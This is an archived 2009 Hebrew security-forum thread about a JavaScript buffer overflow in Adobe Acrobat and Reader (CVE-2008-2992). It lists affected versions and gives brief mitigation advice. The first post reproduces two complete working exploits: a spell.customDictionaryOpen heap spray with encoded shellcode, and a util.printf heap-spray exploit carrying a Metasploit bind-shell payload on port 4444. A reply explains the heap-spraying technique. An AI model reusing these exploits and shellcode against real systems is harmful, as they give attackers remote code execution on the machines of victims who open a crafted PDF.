Logo

רד-בורד: ארכיון

ראשי > אבטחת מידע > Buffer OverFlow ב Adobe

02/05/2009 22:16:06 devil kide
בגלל שהפורום דיי מת בתקופה האחרונה ויש לי קצת זמן פנוי החלטתי להביא לכאן עדכון על Buffer OverFlow שנמצא בגרסאות שונות של תוכנות של Adobe, הגרסאות הפגיעות ל Stack Buffer OverFlow הן:
קוד:
Turbolinux Client 2008
Sun Solaris 10_sparc
Sun Solaris 10.0
Sun Solaris 10
Nortel Networks Self-Service Speech Server 0
Nortel Networks Self-Service Peri Application 0
Nortel Networks Self-Service MPS 500 0
Nortel Networks Self-Service MPS 1000 0
Nortel Networks CallPilot 703t
Nortel Networks CallPilot 600r
Nortel Networks CallPilot 201i
Nortel Networks CallPilot 1005r
Nortel Networks CallPilot 1002rp
Gentoo Linux
Avaya Interactive Response 3.0
Avaya Interactive Response 2.0
Adobe Acrobat Standard 8.1.2
Adobe Acrobat Standard 8.1.1
Adobe Acrobat Standard 8.1
Adobe Acrobat Standard 8.0
Adobe Acrobat Reader 8.1.2
Adobe Acrobat Reader 8.1.1
Adobe Acrobat Reader 8.1.2 Security Updat
Adobe Acrobat Reader 8.1
Adobe Acrobat Reader 8.0
Adobe Acrobat Professional 8.1.2
Adobe Acrobat Professional 8.1.1
Adobe Acrobat Professional 8.1.2 Security Updat
Adobe Acrobat Professional 8.1
Adobe Acrobat Professional 8.0
Adobe Acrobat 3D 8.1.2
Adobe Acrobat 3D 0

והגרסאות שאינם פגיעות הן:
קוד:
Adobe Acrobat Standard 8.1.3
Adobe Acrobat Reader 8.1.3
Adobe Acrobat Reader 9
Adobe Acrobat Professional 8.1.3
Adobe Acrobat 3D 8.1.3

מידע כללי:
הבאג הינו בעייתי בהרצת קבצי JavaScript בהרצת התוכנות של
Adobe.
את הבעית אבטחה ניתן לנצל מרחוק
תאור הפגיעה:
הפגיעה נגרמת כתוצאה מהרצת Float (נקודה צפה) באופן בלתי חוקי בקובצי JavaScript שמריצים גם קבצים של Adobe או קשורים לקובץ.
את הקובץ יפתח הקורבן בזדון,
ועם הרצת הקוד הזדוני יכול הפוגע לקבל את ההרשאות של המשתמש שהריץ את קובץ הJavaScript הנגוע.
היות וניתן להריץ JavaScript בתוקך קבצי HTML ואתרי אינטרנט ניתן להשיג גישה מרוחקת למחשבו של הקורבן.

אקספלויט- Exploit :

קוד:
//##############
//Exploit made by Arr1val
//Proved in adobe 9.1 and adobe 8.1.4 on linux
//##############

var memory;
function New_Script()
{
var nop = unescape("%u9090%u9090");
var shellcode = unescape("%uc92b%ue983%ud9ee%ud9ee%u2474%u5bf4%u7381%uc513%u4871%u83a5%ufceb%uf4e2%uaaf4%ue61b%u1b96%ucf4a%u29a3%u44c1%uf108%ufcdb%u4e75%u2585%u088c%ufeb1%u199f%ua
442%u88da%ucd2e%ucac4%uc30b%uf896%u15a9%u21a3%uf619%u904c%u680b%u2345%u8a20%u02ea%ucd20%u13ea%ucb21%u924c%uf61a%u904c%uaef8%uf108%ua548");//443 on 10.1.31.249

while(nop.length <= 0x10000/2) nop+=nop;
nop=nop.substring(0,0x10000/2 - shellcode.length);

memory=new Array();
for(i=0;i<0x6ff0;i++)
{memory=nop + shellcode;}

//start exploit now
start();

function start()
{
this.spell.customDictionaryOpen(0,nop);//so the exploit jumps actually to 0x90909090. Place a very long ’AAAA’ at the second param to go to 0x41414141 ;)
}

}

//############################



נוסף:
קוד:Adobe Reader Javascript Printf Buffer Overflow Exploit
===========================================================
Reference: http://www.coresecurity.com/content/adobe-reader-buffer-overflow
CVE-2008-2992

Thanks to coresecurity for the technical background.

6Nov,2008: Exploit released by me

Credits: Debasis Mohanty
www.hackingspirits.com
www.coffeeandsecurity.com
===========================================================

//Exploit by Debasis Mohanty (aka nopsledge/Tr0y)
//www.coffeeandsecurity
//www.hackingspirits.com


// win32_bind - EXITFUNC=seh LPORT=4444 Size=696 Encoder=Alpha2 http://metasploit.com

var payload = unescape("%u03eb%ueb59
%ue805%ufff8%uffff%u4949%u4949%u4949%u4949%u4949%u4949%u4949%u4949%u4937%u5a51%u436a%u3058%u3142%u4150%u6b42%u4141%u4153%u4132%u3241%u4142%u4230%u5841%u3850%u4241%u7875%u4b69%u7
24c%u584a%u526b%u4a6d%u4a48%u6b59%u6b4f%u694f%u416f
%u4e70%u526b%u744c%u4164%u6e34%u376b%u5535%u4c6c%u714b%u646c%u6145%u7468%u6a41%u6e4f%u626b%u326f%u6c38%u334b%u376f%u5550%u7851%u316b%u6c59%u504b%u6e34%u466b%u6861%u456e%u
6f61%u6c30%u6c59%u6b6c%u3934%u4150%u3764%u6877%u6941%u565a%u636d%u4b31%u7872%u6c6b%u7534%u566b%u3134%u5734%u5458%u6b35%u6e55%u336b%u556f%u7474%u7841%u416b%u4c76%u464b%u626
c%u6e6b%u416b%u354f%u564c%u6861%u666b%u3663%u6c4c%u6b4b%u7239%u444c%u5764%u616c%u4f71%u4733%u6b41%u3
36b%u4c54%u634b%u7073%u6c30%u534b%u6470%u6c4c%u724b%u4550%u4e4c
%u6c4d%u374b%u7530%u7358%u426e%u4c48%u524e%u466e%u586e%u566c%u3930%u586f%u7156%u4676%u7233%u6346%u3058%u7033%u3332%u5458%u5237%u4553%u5162%u504f%u4b54%u5a4f%u3370%u6a
58%u686b%u596d%u456c%u466b%u4930%u596f%u7346%u4e6f%u5869%u7365%u4d56%u5851%u366d%u6468%u7242%u7275%u674a%u5972%u6e6f%u7230%u4a48%u5679%u6b69%u6e45%u764d%u6b37%u584
f%u3356%u3063%u5053%u7653%u7033%u3353%u5373%u3763%u5633%u6b33%u5a4f%u3270%u5046%u3568%u7141%u304c%u3366%u6c63%u6d49%u6a31%u7035%u6e68%u3544%u524a%u4b50%u7177%u4b47%u4e4f%u3036%u526
a%u3130%u7041%u5955%u6e6f%u3030%u6c68%u4c64%u546d%u796e%u3179%u5947%u596f%u4646%u6633%u6b35%u584f%u6350%u4b58%u7355%u4c79%u4146%u6359%u4b67%u784f%u7656%u5330%u41
64%u3344%u7965%u4e6f%u4e30%u7173%u5878%u6167%u6969%u7156%u6269%u3977%u6a6f%u5176%u4945%u4e6f%u
5130%u5376%u715a%u7274%u6246%u3048%u3063%u6c6d%u5a49%u6345%u625a%u7670%u3139%u5839%u4e4c%u4d69%u5337%u335a%u4e74%u4b69%u5652%u4b51%u6c70%u6f33%u495a%u336e%u447
2%u6b6d%u374e%u7632%u6e4c%u6c73%u704d%u767a%u6c58%u4e6b%u4c4b%u736b%u5358%u7942%u6d6e%u7463%u6b56%u304f%u7075%u4b44%u794f%u5346%u706b%u7057%u7152%u5041%u4251%u4171
%u337a%u4231%u4171%u5141%u6645%u6931%u5a6f%u5070%u6e68%u5a4d%u5679%u6865%u334e%u3963%u586f%u6356%u4b5a%u4b4f%u704f%u4b37%u4a4f%u4c70%u614b%u6b47%u4d4c%u6b53%u3174%u4974%u596f%u7046%u5952%u4e6f%u6330%u6c58%u6f30%u577a%u6174%u324f%u4b73%u684f%u3956%u386f%u4350");

//Heap Spray starts here - Kiddos don’t mess up with this
var nop ="";
for (iCnt=128;iCnt>=0;--iCnt) nop += unescape("%u9090%u9090%u9090%u9090%u9090");
heapblock = nop + payload;
bigblock = unescape("%u9090%u9090");
headersize = 20;
spray = headersize+heapblock.length
while (bigblock.length<spray) bigblock+=bigblock;
fillblock = bigblock.substring(0, spray);
block = bigblock.substring(0, bigblock.length-spray);
while(block.length+spray < 0x40000) block = block+block+fillblock;
mem = new Array();
for (i=0;i<1400;i++) mem = block + heapblock;

// reference snippet from core security
// http://www.coresecurity.com/content/adobe-reader-buffer-overflow
var num = 12999999999999999999888888888888888888888888888888888
88888888888888888888888888888888888888888888888888888888888888888888888888888888888888
88888888888888888888888888888888888888888888888888888888888888888888888
88888888888888888888888888888888888888888888888888888888888888888888888888888888888888
util.printf("%45000f",num);



התגוננות ומניעה:
לבטל את הרצת קבצי הגאווהסקריפט
לעדכן את התוכנה לגרסאות הרשומות מעלה כלא פגיעות
לעדכן את התוכנה מאתר אדובי

קרדיט:
securityfocus
milw0rm

נכתב ע"י DevilKide
מקווה לראות קצת התעוררות בפורום. בנוסף, אם טעיתי בתאור או אם תרצו להוסיף משהו, להעיר הערות בונות ועוד הכל יתקבל בברכה!
לעוד מידע ממומלץ לבקר באתרים להם נתתי קרדיט.[ההודעה נערכה על-ידי devil kide ב-02/05/2009 22:19:17]
03/05/2009 14:25:11 cp77fk4r
הרעיון בשני האקספלויטים שהצגת פה הוא שימוש בטכניקה שמשתמשים בה הרבה בכדי לנצל Heap Overflow דווקא בדפדפנים (ואפשר להגיד שממש דווקא בIE, למרות שלא רק) טכניקה שנקראת "Heap Spray" (מדובר כמובן ב"ריסוס" של Nop’s..) , הרעיון הוא לא בדיוק איך שהצגת (מה זאת נקודה צפה..? אתה מתכוון לFloating charges? אני לא רואה איך זה ממומש פה בצורה מיוחדת), הסיפור פה הוא די פשוט, ומי שרוצה להתעמק יוכל לראות מידע על השיטה פה:
http://sf-freedom.blogspot.com/2006/06/heap-spraying-introduction.html

או מהמצגת המאוד נחמדה של אלקס, שהוצגה בBH-Europe 07:

http://www.blackhat.com/presentations/bh-europe-07/Sotirov/Presentation/bh-eu-07-sotirov-apr19.pdf

עמודים: 1